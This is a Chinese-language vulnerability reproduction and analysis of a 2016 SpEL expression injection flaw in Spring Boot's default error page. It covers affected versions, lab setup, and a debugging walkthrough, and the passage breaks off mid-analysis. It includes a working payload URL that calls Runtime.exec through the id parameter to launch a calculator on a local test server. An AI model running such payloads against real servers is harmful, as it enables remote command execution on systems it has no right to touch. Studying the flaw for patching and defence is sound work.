SpringBoot框架SpEL表达式注入漏洞复现与原理分析

前言

这是2016年的一个洞，利用条件是至少知道一个触发 springboot 默认错误页面的接口及参数名。

影响版本：1.1.0-1.1.12 1.2.0-1.2.7 1.3.0

修复方案：升级版本

环境搭建

下载链接：https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

用idea打开之后配置一下，如下图：

然后启动访问出现如下页面，代表搭建成功。

漏洞复现

访问：http://localhost:9091/article?id={9*9} ，可以发现{9*9}的SpEL表达式进行了解析，随后将该表达式的运行的结果进行了返回，如下图。

现在尝试弹出计算器，访问：http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

成功弹出，如下图：

调试分析

为什么会出现这情况呢，这是因为springboot返回错误页面的时候提供了详细信息，这些信息包括

错误status（"status"->500）、时间戳（"timestamp"->"Fri Dec....."）、错误信息（"error"->"Internal Server Error"）、和用户输入的参数（"message"->"test"），然后后端渲染视图时，会解析错误模板中的参数名。然后拿到对应的参数值，通过函数检查参数值中是否存在${}，如果存在则去除，然后传入SpEL引擎进行解析。模板内容如下所示：

代码语言：javascript复制

<html>
   <body>
       <h1>Whitelabel Error Page</h1>
       <p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
       <div id='created'>${timestamp}</div>
       <div>There was an unexpected error (type=${error}, status=${status})</div>
       <div>${message}</div>
    </body>
</html>

程序会判断模板中每个{}的位置，然后将参数名一个一个取出来后传入spel引擎，解析参数名对应的值。这里就是漏洞的触发点，假如我输入{payload}，spel取出来payload后进行解析，然后触发漏洞。触发点如下：

浏览器访问http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}，现在开始调试，首先会将map的值传入,context的rootObject中，之后以this.template和this.resolver为参数调用replacePlaceholders方法，如下图：

this.template的内容就是上文的错误模板，跟进replacePlaceholders方法 ,进入PropertyPlaceholderHelper文件。

继续跟进parseStringValue方法

分析一下代码，首先StringBuilder将strVal转为字符串，并赋值给result，接着判断result中${和}位置，结果为157、168，然后通过substring截取157和168的中间值，并赋值给placeholder，本次的值为"timestamp"，然后将placeholder作为第一个参数，再次调用本方法。结果如下图：